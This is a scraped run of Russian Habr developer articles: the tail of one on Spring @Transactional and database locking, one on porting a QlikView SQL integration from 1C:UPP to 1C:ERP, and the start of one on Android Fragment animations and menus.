Снизив конкурентность, мы уменьшили количество ошибок. Напоследок отмечу, что Repeatable Read в Postgres также решает проблему фантомного чтения.
#### Serializable
Serializable, в свою очередь, решает проблему аномалий сериализации. Здесь нет нужды использовать явные блокировки, потому что чтение и запись мониторит БД. Если база заметит, что две транзакции читают одну и ту же запись, а потом куда-то что-то пишут (неважно куда), одну из транзакций база закоммитить не позволит. Таким образом, транзакции могут обновлять данные так, чтобы ничего не пересекалось, то есть последовательно.
SerializableВ нашем примере этот уровень изоляции будет вести себя так же, как Repeatable Read. Запускаем первый тест на 1000 лайков:
Почему 993, а не 1000? Дело в том, что метод saveMessageToHistory…
```
private void saveMessageToHistory(Likes likes, String status) {
try {
historyRepository.save(HistoryEntity.builder()
.talkName(likes.getTalkName())
.likes(likes.getLikes())
.status(status)
.build());
} catch (RuntimeException ex) {
log.warn("Failed to save message to history.", ex);
}
```
…вызывается внутри транзакции. Соответственно, при любых связанных исключениях будет откатываться вся транзакция. Чтобы решить эту проблему, обратимся к еще одному свойству транзакции – распространению (propagation).
Схема Transaction PropagationДля начала нас интересует уровень Required. Если в методе caller, где мы вызываем транзакцию, она уже есть, то мы просто ее переиспользуем и в конце принимаем решение о коммите или откате. Если не было транзакции, мы создаем новую.
Что еще нужно знать об уровнях распространения? Nested невозможен в JPA-диалекте, потому что здесь нельзя создать save point. Nested, в отличие от Required New, создает некий save point. Если вы, например, обновляете огромный батч данных, то вам не придется в случае ошибки откатывать всё, а можно будет откатиться только до save point.
Не будем изобретать велосипед и смешивать подходы. Чтобы нужный приватный метод аннотировать транзакцией, просто вынесем его в отдельный класс. Вынесем отдельный сервис и создадим новую транзакцию. Неважно, откатится она или нет, главное, что она не повлияет не предыдущую транзакцию, а та — на неё:
```
public class HistoryService {
private final HistoryRepository historyRepository;
/**
* Method for saving message to history.
* Produces the message with DTO to kafka, for future processing.
*
* @param likes DTO with information about likes to be added.
*/
@Transactional(propagation = Propagation.REQUIRES_NEW)
public void saveMessageToHistory(Likes likes, String status) {
try {
historyRepository.save(HistoryEntity.builder()
.talkName(likes.getTalkName())
.likes(likes.getLikes())
.status(status)
.build());
} catch (RuntimeException ex) {
log.warn("Failed to save message to history.", ex);
}
}
}
```
Перезапускаем наш тест с двумя попытками повтора. Интересно, что в истории записалось больше 2000 событий, а лайков при этом меньше:
Все дело в retry — повторная попытка захватывает не только событие, но и сохранение истории. Она будет перезаписана, потому что идемпотентность тут не предусмотрена.
Что мы можем сделать? Создадим метод @Recover, который будет вызываться в случае падения, и в нем не будет записываться история.
```
@Recover
public void addLikesToSpeakerRecover(Exception ex, Likes likes) {
if (likes.getTalkName() != null) {
speakersRepository.findByTalkName(likes.getTalkName()).ifPresentOrElse(speaker -> {
log.info("Adding {} likes to {}", likes.getLikes(), speaker.getFirstName() + " " + speaker.getLastName());
speaker.setLikes(speaker.getLikes() + likes.getLikes());
}, () -> {
log.warn("Speaker with talk {} not found", likes.getTalkName());
saveMessageToHistory(likes, "ORPHANED");
});
} else {
log.error("Error during adding likes, no IDs given");
saveMessageToHistory(likes, "CORRUPTED");
throw new SQLException()
}
}
```
*Если вы смотрели запись доклада, то заметили, что в данном месте я допустил ошибку, из-за которой Recover метод не работал. Дело в том, что в докладе я использовал в аргументе RuntimeException, коим получаемый нами SQLException не является, так как расширяет только базовый класс Exception.*
### Блокировки
Еще один вариант разрулить транзакции — это блокировки. Существует оптимистическая и пессимистическая блокировка.
#### Оптимистическая блокировка
Эта блокировка работает на уровне приложения, а не базы данных. В Spring она реализуется легко, с помощью @Version над полем entity. Результат сохраняется как @Version, и с его учетом идет апдейт. Если result set = 0 и нет подходящей записи в базе данных, мы получаем exception.
Оптимистическая блокировка. БД ничего про блокировку не знает!Здесь нам даже не нужны транзакции, всю эту логику мы можем убрать. Но при этом нужно настроить retry: поставим max attempts = 10. Теперь выберем подходящее поле для аннотации. Идеальный кандидат — поле @UpdateTimestamp. При каждом сохранении оно будет обновляться, и проблем быть не должно.
```
@Version
@UpdateTimestamp
@Column(nullable = false)
private LocalDateTime updated;
```
Запустим снова наш тест:
События приходят, а лайки не добавляются. Это происходит, потому что мы убрали save и транзакцию. Соответственно, save() надо вернуть. Учтите это, если занимаетесь рефакторингом подобного сервиса. В случае с оптимистическими блокировками и Retry мы снова должны подбирать количество попыток в зависимости от уровня конкуренции. Чем он выше, темы выше вероятность ошибок и, соответственно, больше повторов потребуется для обработки всех данных. Ниже мы рассмотрим варианты оптимизации с целью уменьшения конкуренции.
#### Пессимистическая блокировка
Эта блокировка работает на уровне базы данных, через блокировку строки. Запросы выглядит следующим образом:
С виду все логично. Заблокировали, отпустилиПопробуем это реализовать в Spring. Нам потребуется аннотация @Lock.
```
@Lock(LockModeType.PESSIMISTIC_WRITE)
Optional findByTalkName(String talkName);
```
Для теста попробуем бросить одно сообщение. Сразу получим исключение: «No transaction in progress». Ведь ранее мы убрали транзакции из кода. Обычно разработчики сразу идут с этим в гугл и попадают на Stack Overflow, где рекомендуют установить @Transactional на репозиторный метод.
У ответа рейтинг 200, давайте попробуем.
```
@Transactional
@Lock(LockModeType.PESSIMISTIC_WRITE)
Optional findByTalkName(String talkName);
```
В нашем случае тесты работают, исключений нет, но лайки неправильно обновляются, опять имеем недосчет.
Транзакция коммитится на выходе из связанного метода — в нашем случае findByTalkName:
```
@Transactional
@Lock(LockModeType.PESSIMISTIC_WRITE)
Optional findByTalkName(String talkName);
```
Вся транзакция, соответственно, закоммитится на выходе из него и отпустит @Lock. Проблема не решена, но 200 баллов на StackOverflow есть :)
Так-то лучшеНа самом деле, завершать транзакцию нужно позже, после апдейта, и @Transactional должен висеть в другом месте. Здесь мы коммитим транзакцию на выходе из метода addLikesToSpeaker:
```
@Transactional
public void addLikesToSpeaker(Likes likes) {
if (likes.getTalkName() != null) {
speakersRepository.findByTalkName(likes.getTalkName()).ifPresentOrElse(speaker -> {
saveMessageToHistory(likes, "RECEIVED");
log.info("Adding {} likes to {}", likes.getLikes(), speaker.getFirstName() + " " + speaker.getLastName());
speaker.setLikes(speaker.getLikes() + likes.getLikes());
}, () -> {
log.warn("Speaker with talk {} not found", likes.getTalkName());
saveMessageToHistory(likes, "ORPHANED");
});
} else {
log.error("Error during adding likes, no IDs given");
saveMessageToHistory(likes, "CORRUPTED");
}
}
```
При использовании блокировок стоит переключиться на уровень изоляции Read Committed. А то при Serializable, например, блокировки корректно не сработают.
**Отлично, 2000 сообщений и лайков!**
Производительность всех рассмотренных решений можно сравнить по графику ниже. Вы также можете попробовать сами развернув у себя проект и попробовать другие решения.
Немного статистикиВидим, что пессимистическая блокировка сработала быстрее всех, за счет устранения конкуренции между блокировками. Недостаток в том, что она больше остальных нагружает процессор из-за создания длинной очереди. Но если все запросы перевести в Kafka, то аномальной нагрузки не возникнет. До поры до времени – клиентская база то растет :)
Теперь представим, что другая команда решила добавить при сохранении сообщений проверку на наличие пользователя в БД и переиспользовала наш запрос с пессимистической блокировкой:
```
@Transactional(propagation = Propagation.REQUIRES_NEW)
public void saveMessageToHistory(Likes likes, String status) {
try {
speakersRepository.findByTalkName(likes.getTalkName()).ifPresent((x) -> {
historyRepository.save(HistoryEntity.builder()
.talkName(likes.getTalkName())
.likes(likes.getLikes())
.status(status)
.build());
});
} catch (RuntimeException ex) {
log.warn("Failed to save message to history.", ex);
}
}
```
Что же здесь страшного? Все работает, пока все подключения в БД не кончатся :P У нас тут дедлок. А возник он как раз из-за того, что, используя Propagation.REQUIRES\_NEW, мы останавливаем текущую транзакцию, не снимая блокировку, и пытаемся еще раз из новой транзакции эту блокировку установить. И ждем, ждем...
В этом главная опасность пессимистических блокировок: они могут породить дедлоки. Серебряной пули здесь тоже нет, учитывайте это в собственных задачах.
#### Timeout против дедлоков
Разорвать дедлок можно с помощью такого замечательного свойства, как timeout:
Дока важна!Что нужно знать о таймаутах:
* Таймаут, объявленный в транзакции, распространяется только на запросы в БД и пропагируется в виде @QueryHint(javax.persistence.timeout) только на запросы *внутри текущей транзакции*. То есть таймаут, установленный на транзакции, никогда не выбросит вас из метода, если вы не обращаетесь с запросом в БД.
* В момент вызова транзакционного метода фиксируется *дедлайн*.
* В запросы попадет не весь указанный таймаут, а *дельта*, оставшаяся до дедлайна.
* Таймаут не пропагируется на новые созданные транзакции, также *не будет* выброшено исключения из *suspended транзакции*.
* В случае срабатывания таймаута будет выброшено исключение и должен быть произведен откат транзакции.
Как выглядят возможные исключения:
* org.springframework.transaction.TransactionTimedOutException: Transaction timed out: deadline was Sat Jun 11 00:53:14 MSK 2022 — запрос был запущен, когда дедлайн уже наступил.
* org.hibernate.TransactionException: transaction timeout expired (org.springframework.orm.jpa.JpaSystemException: transaction timeout expired) — Hibernate попытался закоммитить транзакцию, а дедлайн уже настал.
* org.springframework.dao.QueryTimeoutException: could not extract ResultSet; root cause: org.postgresql.util.PSQLException: ERROR: canceling statement due to user request — если время выполнения запроса превысило таймаут.
### Какие еще проблемы решает @Transactional
Представим, что мы получили сообщение из Kafka, обработали его и должны закоммитить. Проходит обработка в рамках транзакции, данные появляются, и вы должны закоммитить offset.
Ошибка при сдвиге оффсетаНо случается ООМ. Что делаем дальше, коммит или роллбэк? Наверно, роллбэк. Сообщение снова появится в лаге топика. Идемпотентную обработку в нашем примере с ходу прикрутить не получится, так как сообщения не имеют никаких уникальных идентификаторов. Однако мы можем передвинуть транзакцию на более низкий уровень, и если исключение возникнет в момент сдвига оффсета, менеджер транзакции это увидит и откатит её. Количество попыток для consumer (BackOff) тоже нужно при этом настроить.
В коде это реализуется несложно. Если у нас есть Consumer, мы просто аннотируем метод accept() @Transactional:
```
public class LikesConsumer implements Consumer> {
private final SpeakerMessageProcessor messageProcessor;
@Override
@Transactional
public void accept(List likes) {
log.warn("Message received {}", likes);
messageProcessor.processBatchOfMessages(likes);
}
```
Если используете подход через StreamConfing и определяете Bean Consumer, то достаточно аннотировать его, и все методы в нем станут транзакционными.
```
public class StreamsConfig {
private final SpeakerMessageProcessor messageProcessor;
@Transactional
@Bean
Consumer likesConsumer() {
return (value) -> {
log.info("Consumer Received : " + value);
messageProcessor.processOneMessage(value);
};
}
}
```
### Накладные расходы при использовании @Transactional
Что происходит, когда мы запускаем метод, помеченный @Transactional? Сначала JPATransactionManager оборачивает наш метод, затем он запускает логику, коммитит ее или в случае возникновения исключения откатывает.
```
speakerService.addLikesToSpeaker(likes);
private final JPATransactionManager transactionManager;
try {
// begin a new transaction if expected
// (depending on the current transaction context and/or propagation mode setting)
transactionManager.begin(..);
addLikesToSpeaker(likes) // the method invocation, EntityManager works.
transactionManager.commit(..);
} catch(Exception e) {
transactionManager.rollback(..); // initiate rollback if code fails
throw e;
```
Возьмем простой transactional метод, который выводит два сообщения в лог и даже в БД не идет:
```
@GetMapping("/test")
@Transactional
public ResponseEntity testTransaction() throws InterruptedException {
log.warn("Thread {} started", Thread.currentThread().getId());
log.warn("Thread {} finished the work", Thread.currentThread().getId());
return new ResponseEntity<>("Test passed!", HttpStatus.OK);
}
}
```
Запустим и посмотрим логи:
20 миллисекунд в мусорКак видим, даже на таком простом методе создаются некоторые микрозадержки. В больших масштабах это может создать оверхэд. Поэтому всегда стоит задумываться, а нужна ли вам транзакция в конкретном месте.
Но самое страшное, на самом деле, не здесь. Давайте в конфиге уменьшим maximum pool size до 1, а таймаут до 5, установим sleep на 8 секунд и запустим программу:
```
@GetMapping("/test")
@Transactional
public ResponseEntity testTransaction() throws InterruptedException {
log.warn("Thread {} started", Thread.currentThread().getId());
Thread.sleep(millis:8000);
log.warn("Thread {} finished the work", Thread.currentThread().getId());
return new ResponseEntity<>("Test passed!", HttpStatus.OK);
}
```
В итоге у нас один тред запустился, а второй уже упал с ошибкой:
Кто же забрал connection, если мы даже не ходили в БД? При создании транзакции из hikari pool всегда забирается одно соединение, чтобы проставить auto-commit = false. Ведь решение о коммите фактически будет приниматься в менеджере транзакции. При большой конкурентности нехватка соединений может стать проблемой. Исправить это можно, отключив auto-commit вручную.
Вот тут и происходит получение соединенияВ завершение добавлю пару советов, как сократить накладные расходы при использовании @Transactional:
* Не стоит ставить @Transactional там, где будет происходить обработка только на сервисном уровне.
* Запуск метода, помеченного @Transactional, при определенных условиях может взять соединение из пула соединений с БД и не отпускать его до выхода из метода.
* Используйте propagation = NEVER там, где не хотите допустить использование транзакции (например, при параллельной разработке).
* Разносите логику работы с БД и внутреннюю логику сервиса по разным методам/сервисам, особенно походы во внешние системы или длительные вычислительные операции.
### Оптимизация при процессинге
Когда вы получаете много сообщений и в итоге запускаете много транзакций, легко можете получить большой оверхэд на БД.
Агрегируй там, где возможноНапример, для нашего сервиса можно написать следующий метод агрегации пришедших сообщений, объединяющий их по названию доклада.
```
public void processBatchOfMessages(List likes) {
var accumulatedLikes = likes.stream()
.filter(Objects::nonNull)
.filter(x -> x.getTalkName() != null)
.filter(x -> !x.getTalkName().isEmpty())
.collect(Collectors.groupingBy(Likes::getTalkName))
.values().stream()
.map(likesListTalkName -> likesListTalkName.stream().reduce(new Likes(), (x, y) -> Likes.builder()
.talkName(y.getTalkName())
.likes(x.getLikes() + y.getLikes())
.build()))
.collect(Collectors.toList());
log.info("Aggregated Likes: {}", accumulatedLikes);
try {
var futures = accumulatedLikes.stream()
.map(like -> CompletableFuture.runAsync(() -> speakerService.addLikesToSpeaker(like)))
.toArray(CompletableFuture[]::new);
CompletableFuture.allOf(futures).join();
} catch (CompletionException ex) {
log.error("Something went wrong during batch processing.:", ex);
}
}
```
Это сильно ускоряет работу. Такой метод можно запустить в несколько потоков; например, по трем пользователям параллельно. @Transactional позволяет сохранить эти операции внутри метода.
### Решение без блокировок / ретраев и тюнинга изоляции.
А есть ли решение без блокировок и прочей суеты с изоляцией транзакции? Решение есть всегда, и здесь одним из них является распределение сообщений о событиях в партициях кафки при помощи ключей. Kafka message keys.
Ключи сообщений Kafka Сообщения с одинаковыми ключами всегда будут попадать в одну и ту же партицию топика, а значит, читать эти сообщения будет только один-единственный Consumer. И если ключ будет соответствовать пользователю, то мы будем иметь гарантию, что по одному пользователю параллельно не будет вычитано более одного сообщения. А значит, конкурентность отсутствует, и транзакции или блокировки могут быть вовсе не нужны.
При получении сообщений из разных источников имеет смысл перекладывать все полученные сообщения в некоторый буферный топик, добавляя к каждому сообщению ключ, и затем вычитывать их из этого топика, правильно настроив BackOffPolicy. В таком случае вы на уровне сервиса избавляетесь от конкурентности и гарантируете обработку всех сообщений. Главный нюанс такого подхода — асинхронная обработка: если внешняя система требует от вас произвести процессинг сообщения в реальном времени, то такой подход вам может не подойти.
### Выводы
Для грамотного управления транзакциями необходимо:
* определиться, нужны ли вам транзакции и/или блокировки в коде, возможно ли избавиться от конкуренции на этапе получения сообщений.
* правильно расставить в коде аннотацию @Transactional только там, где это необходимо;
* выбрать уровень изоляции, на котором вы будете работать с БД внутри одного проекта;
* разобраться, где нужна новая транзакция, а когда следует продолжать текущую;
* определиться с использованием блокировок и их типом, предусмотреть дедлоки;
* предусмотреть таймауты транзакций;
* оптимизировать код с целью уменьшения количества вызовов транзакционных методов и запросов в БД;
* предусмотреть идемпотентную обработку данных при повторах.
Еще раз привожу ссылку на проект [GitHub](https://github.com/TechniXC/transactions-locks-app.git). В ветке afterTalk содержатся все изменения, написанные в liveTime. | https://habr.com/ru/post/707378/ | null | ru | null |
# Переход с 1С: УПП на 1C:ERP: Переделываем интеграции с SQL-запросами к СУБД (на примере УПП — QlikView — ERP)
**Одна статья из цикла материалов о практических особенностях перехода с программы 1С:УПП на 1C:ERP.**
***Автор статьи:***
***Дмитрий Малышев, специалист Внедренческого центра «Раздолье», разработчик «1С» с 2004 года на платформах 1С 7.7, 8.1, 8.2, 8.3, сертифицированный 1С-эксперт по технологическим вопросам, участник 30-ти проектов внедрения 1С:УПП и 1C:ERP.***
Для тех, кто не читал предыдущую статью, расскажу о сути проекта. В 2020-2021 году я участвовал в роли руководителя команды разработчиков Внедренческого центра "Раздолье" в проекте [Управление продажами в международной компании на базе "1С:ERP" (ссылка на сайт 1c.ru)](https://eawards.1c.ru/projects/upravlenie-prodazhami-v-mezhdunarodnoy-kompanii-na-baze-1s-erp--108330/). Проект был выбран победителем международного конкурса «1С:Проекта года» в номинации «Лучший проект с использованием технологии "Дистанционное внедрение"».
Суть проекта заключалась в переводе Заказчика с 1С:УПП на 1С:ERP. На его примере кратко опишу, какой была организационная структура и какие программы мы использовали при взаимодействии в команде и с пользователями.
Практически весь проект выполнялся удалённо. Многие сотрудники Заказчика, участвующие в проекте, в условиях карантинов и локдаунов были переведены на удалённую работу. Многие сотрудники нашей компании тоже работали удалённо, с командировками в этот период были большие проблемы. Сам Заказчик работает в режиме 24х7 и является одним из крупнейших предприятий в России по производству кофе. На начало проекта в качестве основы корпоративной системы у Заказчика была программа 1С:УПП редакции 1.2 (даже не 1.3). По завершению проекта в 2021-м перешли на ERP 2.5. К слову, когда начинали работу, в 2020-м году, когда 2.5. была ещё в бета-версии, но мы решили прислушаться к рекомендациям "Фирмы 1С" запускать новые проекты на ней, а не на 1С:ERP 2.4.
***Рис 1.1 Схема ИТ-архитектуры проекта***
По плану проекта компания отказывалась от комплекса программ (1С:УПП + 1С:ДО + множественные интеграции с внешними решениями) и меняла его на связку 1С:ERP + ЗУП + ДО + поддержка тех же интеграций. Основные работы мы начали в августе 2020 года, а закончили - в апреле 2021 г.
Одной из задач перехода с УПП на ERP (ЕРП) был перевод интеграции между УПП и системой аналитики QlikView.
**Справка**
QlikView - сторонний продукт, система бизнес-анализа, позволяющая собирать данные из разных источников информации, строить по ним модели, поддерживать их в актуальном состоянии и формировать аналитические отчеты, дающие наглядную информацию для принятия управленческих решений и расчёта KPI.
Интеграция требовалась для контроля зарубежными менеджерами, для оценки KPI региональных менеджеров и начисления им оплат и бонусов по результатам деятельности.
**ВНИМАНИЕ:**
**! Инструменты перевода с языка SQL на язык 1С и обратно, а также организация процесса подойдут для перевода большинства прямых интеграций с СУБД старого продукта 1С на новый продукт 1С, т.е. технология касается не только частного случая для QlikView, представленного в этой статье, а подойдёт на других проектов с переводом других ПО.**
*Рис. 1 Примерный вид QlikView (к данному проекту картинка отношения не имеет, взята из сети для визуализации)*
### Вводная по задаче с QlikView
Интеграция QlikView была реализована ранее с УПП на уровне прямых sql-запросов к СУБД.
Данные передавались в одном направлении из УПП в QlikView:
* Контрагенты
* Договоры
* Заказы
* Продажи
* Планы
* и другие
Требовалось перейти в 1C:ERP (ЕРП):
* переделать сбор данных, т.е. запросы к источникам, т.к. структура хранения данных между УПП и ERP значительно поменялась;
* а также доработать ERP (ЕРП) под особенности, затребованные со стороны QlikView и доработанные ранее в УПП.
Интеграция QlikView с УПП проводилась давно (несколько лет назад) и успешно работала, не требуя вмешательства, поэтому всё, что касалось её создания и процесса настройки было успешно стёрто из памяти исполнителей:
* Интеграционные запросы к УПП были описаны на языке SQL и не имели описания на языке 1С
* Со стороны Клиента исполнители не помнили технологию реализации задачи (столько лет прошло)
* Был контакт компании-интегратора со стороны QlikView
* Срок реализации задачи установлен до конца 1 квартала с момента перехода с УПП на ERP (ЕРП) в начале года (для расчёта KPI и зарплаты менеджеров)
### Решение задачи по переводу в ERP (ЕРП)
#### Шаг 1: Наладка взаимодействия
Со своего опыта: вовлечение 3-го, а именно - сторонней компании, в текущий проект 1С, всегда сопровождается перекладыванием ответственности на друг друга и риском получить проблемы с урегулированием сроков. Поэтому крайне важно сработаться.
Всё, что касалось настройки внутренностей QlikView, находилось в компетенции компании интегратора QlikView. Всё, что касалось УПП и ERP, находилось в нашей компетенции. Первым шагом надо было наладить взаимодействие между нами. После первых переговоров с участием Клиента вышли на ситуацию: интегратор QlikView может выделить ресурсы только в 3-й месяц квартала, когда по сути механизм уже должен сдаваться в эксплуатацию. Поначалу нас как интегратора 1С это не устраивало, были попытки найти другого интегратора QlikView, но в итоге договорились с первым, решили, что успеем.
Работы были поделены на два контура:
1. Мы - со стороны 1С (понимаем SQL запросы к УПП и трансформируем их в аналоги для ERP)
2. Они - со стороны QlikView (делают модель связи QlikView с ERP и организуют в QlikView переключение с модели источников УПП на ERP)
#### Шаг 2: Трансформация SQL-запросов
Составили сводный документ, содержащий список источников данных (около 20 блоков), подтягивающихся из УПП в QlikView:
* Номенклатурные группы
* Номенклатура
* Менеджеры
* Контрагенты
* …
* Логистические услуги
* Заказы
* Неотгруженные заказы
* Сетевые скидки
* ….
* Продажи
* Планы
*Примечание: QlikView сам забирает данные из Источника, согласно разработанным запросам.*
Каждый блок разбили части:
1. **Таблица УПП-SQL-1C** – старый текст sql-команд, промаркированный номерами (присвоены краткие уникальные обозначения полям и таблицам) и дополненный описанием полей и таблиц 1С. *Примечание: Запросов на языке 1С для сбора данных из УПП для QlikView у Клиента не было или не сохранилось.*
2. **Таблица ERP-1C-SQL** – текст запроса на языке 1С для ERP с промаркированными данными. Дополнена описанием соответствий и различий по сравнению с **Таблицей УПП-SQL-1C** (тексты запроса на языке SQL для ERP сопоставленные с полями 1С).
Список запросов содержал сложные запросы, состоящие из большого числа соединений различных таблиц, например, по планам продаж или неотгруженным заказам. Не буду их приводить, лучше разберем саму технологию на простом запросе. Далее на примере упрощенного блока "Контрагенты" разберем, как трансформировать SQL-запрос из старой системы (УПП) в новую (ERP):
### ТАБЛИЦА УПП-SQL-1C
На входе дан запрос: что это - непонятно.
```
SELECT T1._IDRRef, T1._Description, T1._Fld1261, T1._Fld1265, T1._Fld1276RRef, T1._Fld1272, T1._Fld1273, T1._Fld1279RRef FROM dbo._Reference78 T1
```
Чтобы разобраться, надо транслировать названия таблиц и полей SQL на язык 1С. Для этого воспользуемся замечательной обработкой Крючкова Владимира по конвертации текстов SQL в представление языка 1С (ссылка ниже в приложении). Обработка имеет управляемую форму, поэтому, чтобы её запустить в старом УПП, необходимо изменить режим запуска на "Управляемый". Запустим рабочую базу УПП в режиме управляемого приложения. Для этого у администратора изменим режим запуска на «Управляемое приложение».
После этого открываем обработку конвертации из SQL в 1С через Меню-Файл-Открыть, вставляем в неё текст запроса и жмём [Преобразовать].
Получаем описание запроса в представлениях 1С, и уже понимаем, с какой таблицей имеем дело, какие поля выбираются.
Делаем описание в виде таблицы:
После выполнения перевода текстов исходных SQL запросов на язык 1С все данные сохраняем в общий документ. Далее анализируем с консультантом: выделили используемые источники данных УПП, пытались понять получаемый результат и сконструировать аналогичные выборки уже на основе источников данных ERP.
### ТАБЛИЦА ERP-1C-SQL
На стороне ERP нам нужно было смоделировать запрос 1С с той же структурой и логикой сбора по суммам, количеству и наборам атрибутов объектов, а затем получить его описание текстом SQL.
Для этих целей мы пользовались транслятором 1С в SQL от Пермитина Юрия (см. ссылку ниже в приложении). Транслятор запускаем в рабочей базе ERP, устанавливаем связь с СУБД и можем далее с помощью конструктора 1С собирать запрос и получать его SQL представление.
Как видно, запрос в ERP усложнился, из-за того, что требуемые атрибуты контрагентов разделены в ERP по двум справочникам: "Контрагенты" и "Партнеры".
***Примечание: Важно, что все запросы SQL получать транслятором нужно именно в рабочей базе. Это нужно чтобы совпадали имена таблиц и реквизитов на уровне СУБД.***
**Пример**:
База-копия, развернутая из архива рабочей базы, изначально имеет совпадающие имена таблиц и полей СУБД. Но если, например, добавляем в хранилище новый реквизит справочника "Договоры" и подтягиваем изменения в обе базы, то реквизит в рамках конфигуратора 1С имеет одинаковое 1С-имя в обоих базах (очевидно), а вот в рамках СУБД получает в соответствие поля с различными именами. В следствие чего запрос SQL, работающий на базе-копии и обращающийся к полям базы-копии в своем тексте, выполниться с ошибкой в рабочей базе, где аналогичный реквизит 1С соответствует полю СУБД с иным именем.
Делаем описание в виде таблицы:
Запросы 1С и SQL, полученные для ERP, также сохраняем в общий документ, который затем пойдет на передачу интегратору QlikView.
Новый запрос SQL для QlikView фиксируем в виде:
```
SELECT T1._IDRRef, T1._Description, T1._Fld64962, T1._Fld64967, T1._Fld64971RRef, T2._Fld68618, T2._Fld68620, T2._Fld68615RRef FROM dbo._Reference392 T1 LEFT OUTER JOIN dbo._Reference533 T2 ON (T1._Fld64970RRef = T2._IDRRef)
```
#### Шаг 3: Запуск новой модели интеграции
Интегратор QlikView на основании предоставленного описания запросов разработал модель связи образа QlikView с ERP. Далее выполнили контрольные заборы данных в QlikView за одинаковый период по старой модели (из УПП) и новой (из ERP). Выполнили сверку количественных и списочных показателей. Выявленные расхождения данных были переданы нам для анализа и пояснений, в итоге:
* часть различий была устранена за счёт уточнения текстов и фильтров в запросах,
* по части – были выявлены ошибки учёта как в УПП, так и в ERP, приведшие к расхождениям,
* также важно, что по части моментов были описаны объективные различия логики систем УПП и ERP и даны пояснения, например, по различию в значениях себестоимости товаров, которые никогда не приведут к совпадению показателей в контрольных выборок данных.
После нескольких итераций, заборы данных по старой и новой модели стали приемлемо расходиться по контролируемым показателям. Новая система связи QlikView c ERP получила одобрение (клиента, наше и интегратора QlikView) и была запущена в продуктив, а связь с УПП отключена.
**При выполнении задачи была использована пара готовых решений. Если интересно, какие именно - пишите в комментариях!** | https://habr.com/ru/post/663144/ | null | ru | null |
# Неочевидное про Fragment API. Часть 4. Анимации и меню
Всем привет! С вами снова Максим Бредихин, Android-разработчик в Тинькофф. Мы добрались до заключительной части серии про интересные моменты из Fragment API. Занимайте лучшие места, мы начинаем!
* [Часть 1. Транзакции](https://habr.com/ru/company/tinkoff/blog/688222/)
* [Часть 2. (Не) создаем инстанс](https://habr.com/ru/company/tinkoff/blog/690134/)
* [Часть 3. Навигация](https://habr.com/ru/company/tinkoff/blog/691344/)
* Часть 4. Анимации и меню (вы находитесь здесь)
### Анимации и переходы
Мы можем определить простые анимации для переходов между фрагментами в папке res/anim. Но если мы хотим управлять любыми атрибутами вьюшки нашего фрагмента, то должны указать анимации в папке res/animator. Более того, можем их спокойно комбинировать в рамках транзакции.
```
fragmentManager.commit {
setReorderingAllowed(true)
// Должны быть указаны до add/replace, иначе они проигнорируются
setCustomAnimations(
R.animator.anim_enter, // InnerFragment появляется на экране
R.anim.anim_exit, // OuterFragment уходит с экрана
R.anim.anim_pop_enter, // OuterFragment возвращается на экран
R.animator.anim_pop_exit // InnerFragment уходит с экрана
)
replace(R.id.container)
addToBackStack(null)
}
```
Эти анимации автоматически применяются ко всем последующим транзакциям с использованием этого `fragmentManager`. А теперь повертим нашим фрагментом:
```
```
Вот что получилось в итоге:
Если не хочется прописывать каждую анимацию, можно использовать Transition — например, заготовленный [Fade()](https://developer.android.com/reference/androidx/transition/Fade). Он указывается в `InnerFragment` и затирает анимацию в транзакции, если она была указана.
```
// InnerFragment.kt
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Анимация при переходе на экран
enterTransition = Fade()
// Анимация при выходе с экрана через fragmentManager.popBackStack()
// Eсли не указана, будет использована enterTransition
exitTransition = Fade()
// Анимация при выходе с экрана не через fragmentManager.popBackStack()
// Например, через replace()
// Eсли не указана, будет использована enterTransition
returnTransition = Fade()
// Анимация при возврате на экран через fragmentManager.popBackStack()
// Eсли не указана, будет использована enterTransition
reenterTransition = Fade()
}
```
Но это еще не верх возможностей анимации во Fragment API. Следующая ступень развития — shared element transitions, с помощью которых можно получить подобный переход.
Для создания такой анимации воспользуемся методом `FragmentTransaction.addSharedElement(View, String)` и стандартным переходом [ChangeBounds()](https://developer.android.com/reference/android/transition/ChangeBounds).
Сначала нужно указать у view-элементов, которые хотим анимировать, уникальные в рамках разметки `transitionName`. Сделать это можно через xml или в коде. В `InnerFragment` указываем анимации:
```
```
```
// OuterFragment.kt
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
ViewCompat.setTransitionName(imageViewStart, "image_start")
}
// InnerFragment.kt
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Анимация при открытии фрагмента
sharedElementEnterTransition = ChangeBounds()
// Анимации при закрытии фрагмента
// Если не указать, будет использована sharedElementEnterTransition
sharedElementReturnTransition = ChangeBounds()
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
ViewCompat.setTransitionName(imageViewDestination, "image_destination")
}
```
А теперь вызываем транзакцию:
```
// OuterFragment.kt
parentFragmentManager.commit {
setReorderingAllowed(true)
addSharedElement(imageViewStart, "image_destination")
addSharedElement(textViewStart, "text_destination")
replace(R.id.container)
addToBackStack(null)
}
```
Если все вьюшки отрисовываются синхронно, то вот так просто мы можем получить анимацию, показанную выше.
Если же мы используем shared element transition с RecyclerView, то нужно помнить, что она отрисовывает свои айтемы после того, как отрисуется разметка экрана. Получается, анимацию перехода нужно приостановить до готовности к отрисовки элементов списка.
```
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
// Приостанавливаем переход
postponeEnterTransition()
// Ждем, когда все загрузится
viewModel.data.observe(viewLifecycleOwner) {
// Передаем данные в адаптер RecyclerView
adapter.setData(it)
// Ждем, когда все элементы будут готовы к отрисовке, и запускаем анимацию
(view.parent as? ViewGroup)?.doOnPreDraw {
startPostponedEnterTransition()
}
}
}
```
> **Важно!** Метод postponeEnterTransition() требует использования FragmentTransaction.setReorderingAllowed(true).
>
> Аналогичная логика будет при использовании данных из сети, которые нужно подгрузить на новый экран.
>
>
### Готовим меню правильно
С версии Fragments 1.5.0 метод `setHasOptionsMenu(true)` был помечен как `deprecated`. Он использовался, чтобы сказать системе, что данный фрагмент хочет получать относящиеся к меню в AppBar родительской Activity колбеки: `onCreateOptionsMenu()`, `onPrepareOptionsMenu()` и `onOptionsItemSelected()`.
Вместо него теперь рекомендуется использовать MenuProvider. Если мы используем несколько MenuProvider, то вызываться они будут по мере добавления, начиная с Activity.
Есть три перегрузки метода `addMenuProvider()`, чтобы добавить MenuProvider:
1. `MenuHost.addMenuProvider(MenuProvider)` — нужно руками удалить MenuProvider.
